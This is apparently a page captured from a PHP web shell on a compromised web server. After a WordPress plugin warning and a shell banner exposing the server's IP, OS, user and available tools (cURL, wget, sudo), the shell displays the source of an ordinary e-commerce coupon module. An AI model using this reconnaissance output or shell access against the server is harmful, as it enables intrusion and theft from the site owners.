Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/theyoungdesigners_com/modules/storeDiscount/ |
Upload File : |
<?php
namespace modules\storeDiscount;
class main extends \moduleMain {
use \modules\input\traits {
\modules\input\traits::__construct as __ConstructInput;
}
use \modules\output\traits {
\modules\output\traits::__construct as __ConstructOutput;
}
private $view;
private $model;
public function __construct() {
parent::__construct(__DIR__);
$this->__ConstructInput();
$this->__ConstructOutput();
}
public function Activate() {
hook_add('template.store.productgroup.PG3', [$this, '__productgroup3']);
hook_add('template.store.checkout.COL2', [$this, '__column4a'], 90); // add apply Coupon
hook_add('template.productgroup', [$this, '__getData_pg'], 20);
hook_add('cart.recalculate', [$this, '__recalculate']);
hook_add('item.recalculate', [$this, '__item_recalculate']);
hook_add('order.array', [$this, '__addfield']); // add the coupon code to output
hook_add('order.recalculate', [$this, '__order_recalculate']); // apply discounts to entire order
hook_add('list.store.coupons', [$this, '__listCoupons']);
hook_add('controller.store.coupon', [$this, '__coupon'], 20);
hook_add('store.tab', [$this, '__settings_tabs5'], 5); // discounts
hook_add('store.tab.coupon', [$this, '__settings_coupon']);
$this->view = $GLOBALS['loader']->getView('storediscount_view', __DIR__);
$this->model = $this->LoadModel('storediscount_model');
$order = $this->LoadModel('order_model', 'store');
$this->model->ModelOrder($order);
}
public function __productgroup3(&$html) {
$text = $this->view->ProductGroup3();
$this->view->UpdateHTML($html, 'PG3', $text);
}
public function __listCoupons(&$res) {
$rep = new \ReportObject;
hook_execute('coupon.field.list', $rep);
$res = $this->model->CouponList($rep);
}
public function __coupon(&$res, $auth) {
$isPost = $this->method() == 'POST';
$coupon_id = hook_execute( 'nonce.verify', FALSE, 'coupon', FALSE, $auth );
if ($coupon_id === FALSE) {
return $res = [
'result' => -2,
'message' => 'You do not have permission to access this function',
];
}
$model_productgroup = $this->LoadModel('productgroup_model', 'store');
$this->model->Type('N')
->Id($coupon_id);
if ($isPost) {
$this->model->updateCoupon($this->post());
$this->Redirect('/admin/store#coupon');
}
$data = $this->model->AsHandlebars();
$res['list_group'] = $model_productgroup->ListGroups();
array_unshift($res['list_group'], [ 'key' => '', 'value' => '(no product group restriction)']);
$res['auth'] = hook_execute('nonce.create', FALSE, 'coupon', $variation_id, 1800);
$res['template'] = 'store_coupon_edit';
$res = array_merge($res, $data);
}
public function __getData_pg(&$res) {
if ($res['sc_id']) {
$this->model->Type('C')
->Id($res['sc_id']);
$data = $this->model->AsHandlebars();
$res = array_merge($res, $data);
}
}
public function __recalculate(&$cart) {
$categories = [];
foreach($cart as $item) {
if (!empty($item['category'])) {
$category = $item['category'];
$categories[$category] = NULL;
}
}
if (count($categories)) {
$cart = $this->model->applyCategoryDiscounts($cart, $categories);
}
}
public function __addfield(&$result, $HEADER) {
$coupon = $HEADER->so_coupon ?? 0;
$result['coupon_id'] = $coupon;
}
// does the coupon apply to this order?
public function __order_recalculate($order_object, $HEADER) {
$coupon = $HEADER->so_coupon ?? 0;
$this->model->RecalculateOrder($order_object, $coupon);
}
public function __item_recalculate(&$item, $product) {
if ($item['category']) {
$this->model->Type('C')
->Id($item['category'])
->AdjustItem($item, $product);
}
}
public function __settings_tabs5(&$tabs, $uri) {
$tabs['_tab'][] = [
'name' => 'Coupons',
'icon' => '<i class="fas fa-globe-americas"></i>',
'fragment' => 'coupon',
'className' => '',
];
}
public function __settings_coupon(&$data, $ephemeral) {
$data = hook_execute('execute.internal', NULL, '/admin/store-coupon');
}
public function __column4a(&$html) {
$text = $this->view->showApplyCoupon();
$this->view->UpdateHTML($html, 'COL2', $text);
}
final function enter_coupon() {
// display the coupon popup
$isPost = $this->method() == 'POST';
if ($isPost) {
$coupon = strtoupper(trim($_POST['so_coupon'] ?? ''));
$data = $this->model->ValidateCoupon($coupon);
$order_id = $data['order_id'] ?? FALSE;
if ($order_id) {
$user_id = isset($_SESSION['current_user']) ? (int) $_SESSION['current_user']['u_id'] : 0;
$temp = $_SESSION['unverified'] ?? 0;
if (!$user_id && $temp) $user_id = $temp;
// reload Order
$res = hook_execute('order.json.full', [], $order_id, $user_id);
$res['html'] =[
[
'field' => 'subtotals',
'template' => 'store_panel_subtotal',
]
];
$data = array_merge($data, $res);
unset($data['template'], $data['list_country'], $data['cart'], $data['service']);
}
} else {
$data = $this->model->AsPopup();
}
header('Content-type: application/json');
die(json_encode($data, JSON_UNESCAPED_SLASHES));
}
}